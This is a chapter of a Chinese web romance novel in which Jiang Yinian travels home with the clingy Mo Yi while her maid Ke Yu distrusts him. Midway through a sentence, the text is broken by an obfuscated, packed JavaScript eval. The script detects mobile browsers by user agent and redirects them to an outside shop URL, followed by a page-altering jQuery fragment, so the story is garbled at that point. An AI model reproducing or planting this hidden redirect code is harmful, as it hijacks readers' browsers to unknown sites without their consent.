回到房间,柯玉立刻开口:“郎君如果知道娘子跟莫公子一起回嵘城,一定会很生气很难过的。” “是吗?为什么?” 38. 第38章 “娘子难道看不出来?他对您有明显企图啊。” 柯玉着急起来。 比起惊讶于姜宜年像是什么都没看出来,更像是担心她什么都没看出来。 姜宜年是觉得莫沂怪怪的,想要知道更多信息,才决定跟他同路一起回嵘城。 但听到柯玉这么说,看她这么反对,开始反思自己这次是不是做错了决定。 “以前发生过什么?”她问。 柯玉沉默了一会儿,道:“其实也没什么,就是莫公子跟郎君不和,先前总是挑拨娘子跟郎君的关系。” “他们两个关系很差?” 姜宜年真有点儿后悔了。 不过她认为柯玉的看法有一定的主观性,毕竟嗑CP的时候最讨厌别人拆自己CP。 “娘子是知道郎君的,他怎么会与人交恶,是莫公子单方面对郎君有敌意。” “明明娘子百般推拒,他就是不放弃,一直缠着娘子。”柯玉冷哼一声,道:“如果莫公子性子温良,郎君不会容不下他的,可偏偏他被家里惯坏了,在家要什么有什么,便觉得离了家也是一样,跋扈得很。” 姜宜年有些意外,想到那个泪人儿,怎么看都觉得“跋扈”这个标签贴到他身上有些格格不入。 同时,她还注意到了另外一个重点。 于是问柯玉:“你认为郎君容得下其他人在……我身边?” 柯玉怔了怔,一脸茫然。 “娘子又不可能一生一世就对着郎君一个,前家主娶了四房,娘子这回到鼎州也看到了,比娘子条件差的都不止娶一个正夫,郎君嫁过来之前肯定也是做好了心理准备的。” 柯玉清楚姜宜年忘却了前尘旧事,每次都很乐意跟她详细科普。 “……是吗?” 姜宜年对此保持怀疑态度。 如果商琮琤表现出来的深情没有掺假,在这么喜欢一个人的情况下,能容忍得了自己的枕边人拥有其他人吗? “郎君如此贤惠,当然了。” 柯玉瘪了瘪嘴,道:“娶夫娶贤,往后娘子带回去的人,只要是贤惠温和的,郎君肯定会当成是兄弟一样对待啊。不过像莫公子这样的,要是娘子真喜欢他带他回去,就算郎君才是正夫,他也不会顾忌的,肯定会像之前一样欺负郎君,挑拨娘子和郎君的关系。” “他以前是怎么欺负郎君的?” 看表情,柯玉对这一点并不是真的清楚,应该只是听说。 “当时是我姐姐陪在娘子身边,我也只是听她说过。不过无非是一些诋毁什么的,连家里人都常常欺负郎君,他再添油加醋一番,别人见到郎君之后,当然就会绕道走了。” 姜宜年突然想到莫邈说的话。 她确实更相信自己眼睛看到的东西。 商琮琤因为在大众眼中行为出格,为人诟病,再加上一些巧合,风评一直不怎么样。 无论是不是不得已,别人不会关心,只会在意“出格”这两个字。 如果这个时候,莫沂再像柯玉说的,添油加醋一番…… 说起来,姜宜年好像确实没商琮琤说起过他有什么朋友。 他每天的生活,方方面面,除了围着姜家其他人转,就是围着她转。 就像完全没有自我似的。 一想到商琮琤,姜宜年就觉得自己脑子一热向莫沂透露行程或许真的是一个很糟糕的打算。 但现在突然反悔太刻意了。 算了,回去多说些好话吧。 第二天启程时,姜礼才发现她们的队伍中又多了几个人。 其中一个还是男子。 莫沂认得柯玉,也看得出来另外两个是保护姜宜年的人,但不认识姜礼,也不知道她是做什么的。 他问姜宜年:“姜姐姐,她是谁啊?” 姜宜年帮他们互相介绍。 她说莫沂是自己朋友的弟弟,碰巧遇到,一起回嵘城。 又说姜礼是自己在鼎州交到的朋友,要带她去嵘城住一段时间。 莫沂察觉到她们之间的氛围不对,哪里有几乎不说话的朋友呢。 不过只是在心里奇怪一下,他没有多问。 姜宜年还不知道后续会出现什么变故,姜礼到底要以什么身份对外出现,她暂时还没有想好。 莫沂眼睛还肿着,但一点儿也不影响他对姜宜年大献殷勤。 一开始,他就提议要跟姜宜年乘坐同一辆马车。 姜宜年拒绝后,他一说自己太长时间没见姜宜年了,二又忆起往昔来,说他们两家关系有多亲近。 是有点难缠。姜宜年在心里默默盖了章。 柯玉大胆开口:“公子还未成亲,而我们娘子已有家室,虽然娘子和莫娘子是好朋友,但跟公子毕竟是女男有别,出门在外,还是多多注意些比较好,否则恐怕会影响公子以后议亲呢。” 莫沂立刻拉下脸来,虽然一开始没说话,但姜宜年已经从他的表情里读懂了他想说的话。 他原本是想骂柯玉几句的,应当是很看不上一个仆从对自己说这些话。 但碍于姜宜年在场,忍了又忍,却还是不想放弃。 他选择不搭理柯玉,直接跟姜宜年对线—— “姜姐姐,我就是……太感慨了,昨晚一晚上没睡着,你不知道我看到你醒了,还恢复得这么好,有多高兴。” “我明白。”姜宜年道:“但既然没休息好,不如在她们驾车的时候好好休息。虽然说好了一起走,但不知道你是不是急着回去,我有些着急,路上会很赶。如果你不急,其实可以在路上吃吃喝喝玩玩慢慢走,我们其实可以不用硬是凑着一起走的。” “不,我急着回去呢,我……”莫沂低下头眨了眨眼睛,看起来有点儿慌,“姐姐和母亲一定很担心我,跟姜姐姐一起走,我也能多安心些。” “好,那快上马车吧,路上颠簸,不好睡,不过得克服一下。” “没事的,我能克服。” 姜宜年发现莫沂总是习惯看着她睁圆了眼睛眨巴眨巴的。 看着确实无辜可怜,不过一些小表情又会揭露他这种行为其实是在刻意讨好,而非自动流露,魅力值减少大半。 姜宜年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870096|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的马车在前面开路,莫沂的紧随其后。 柯玉沉默着转头看了一会儿跟在后面的马车,哼了一声。 姜宜年看向她,连姜礼都放下书来看向她。 柯玉后知后觉自己失了态,甚至差点儿把心里话说出来,有些紧张。 “娘子……” “不过是一起走一段路,互相也好有个保障,你不用太在意他。” 柯玉欲言又止,但姜礼也在,有些话她不好直说。 莫沂把话说得很满,但很明显他的赶路画风跟姜宜年她们完全不一样。 只走了半日,莫沂就觉得有些吃力,跟着他的人像是也有话想说。 柯玉和姜礼都发现了,她们今日赶得比之前还要急,但没有人提出异议。 入了夜,莫沂听说她们还不打算停下,还要继续走,面露难色。 白天因为马车颠簸,他吐了一回,不好意思跟姜宜年说。 姜宜年主动戳破,“是不是累了?不如还是分开走吧,你要是担心,我就留一个人给你,三个人保护你们,想来不会有什么问题了。” 莫沂不愿意放弃这么好的跟姜宜年相处的机会。 等回到了嵘城,那个姓商的就又要死死贴着她了,自己很难有机会接近姜宜年。 “不,只是因为昨晚没睡好,明日就好了。” 姜宜年微微颔首,还专门对莫沂的仆从叮嘱了一句,让他好好照顾自家公子。 仆从有苦说不出,这种赶路的程度,别说他伺候的公子了,就是他一个下人都吃不消。 那马车颠得……他比公子吐得还早。 “是。” 姜宜年看着那仆从一脸命苦的样子,没再说什么。 准备继续赶路的时候,莫沂问道:“姜姐姐这么着急回去,是有什么事情要处理吗?” 姜宜年笑笑,“倒也没什么,只不过大病初愈就出了门,走了这么久,有些想念你姐夫了。” 莫沂的表情顿时像吞了一只苍蝇。 姜宜年视若无睹,继续轻声开口道:“我不在家时,几个父亲总为难他,虽出门在外,但每时每刻都放不下。” 莫沂深深吸了口气,挤出一个微笑来,“既然姜姐姐这么着急回去,我们还是趁天色未晚,抓紧时间赶路吧。” 柯玉爽了,脸上全是根本掩盖不住的笑意。 她也明白了,必然是姜宜年跟戚英、尤嬅提前打了招呼,目的就是让后面那位知难而退。 本来她还想劝一句的,担心姜宜年的身体受不住,现在什么都不说了,只想快点甩掉那个烦人的家伙。 看不了书了,姜礼就趴着睡觉。 姜宜年扔给她一条毯子,姜礼接了,小声说了句谢谢,姜宜年看都没看她。 走到半夜,莫沂一行人实在受不了了,连连叫停。 姜宜年这边其实也松了口气,她们之前虽然赶得急,但还不至于这么急。 现在这样,纯属没苦硬吃。 莫沂把锅推给仆从,说他实在难受,又不好直说,说自己怜恤下人,不得不放慢速度。